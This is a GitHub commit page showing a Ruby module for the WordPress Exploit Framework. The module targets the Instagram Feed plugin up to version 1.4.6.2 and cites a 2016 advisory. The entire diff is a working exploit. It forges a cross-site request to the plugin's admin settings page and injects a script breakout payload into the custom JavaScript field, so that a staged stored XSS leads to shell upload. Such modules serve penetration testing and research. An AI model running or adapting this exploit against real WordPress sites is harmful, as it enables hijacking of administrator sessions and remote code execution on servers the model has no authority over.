Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6736242

Browse files
committed
Add Instagram Feed <= 1.4.6.2 CSRF Stored XSS Shell Upload
1 parent 8bd799a commit 6736242

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
class Wpxf::Exploit::InstagramFeedCsrfStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Instagram Feed <= 1.4.6.2 CSRF Stored XSS Shell Upload',
9+
author: [
10+
'Sipke Mellema', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8674'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html']
16+
],
17+
date: 'Nov 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('instagram-feed', '1.4.7')
23+
end
24+
25+
def initial_script
26+
create_basic_post_script(
27+
normalize_uri(wordpress_url_admin, 'admin.php?page=sb-instagram-feed&tab=customize'),
28+
'sb_instagram_settings_hidden_field' => 'Y',
29+
'sb_instagram_customize_hidden_field' => 'Y',
30+
'sb_instagram_width' => '100',
31+
'sb_instagram_width_unit' => '%',
32+
'sb_instagram_height' => '100',
33+
'sb_instagram_height_unit' => '%',
34+
'sb_instagram_background' => '#474747',
35+
'sb_instagram_sort' => 'none',
36+
'sb_instagram_num' => '20',
37+
'sb_instagram_cols' => '4',
38+
'sb_instagram_image_res' => 'auto',
39+
'sb_instagram_image_padding' => '5',
40+
'sb_instagram_image_padding_unit' => 'px',
41+
'sb_instagram_show_header' => 'on',
42+
'sb_instagram_show_btn' => 'on',
43+
'sb_instagram_btn_text' => 'Load More...',
44+
'sb_instagram_show_follow_btn' => 'on',
45+
'sb_instagram_follow_btn_text' => 'Follow on Instagram',
46+
'sb_instagram_custom_js' => "}});<\\/script><script>#{xss_ascii_encoded_include_script}<\\/script>"
47+
)
48+
end
49+
end

0 commit comments

Comments
 (0)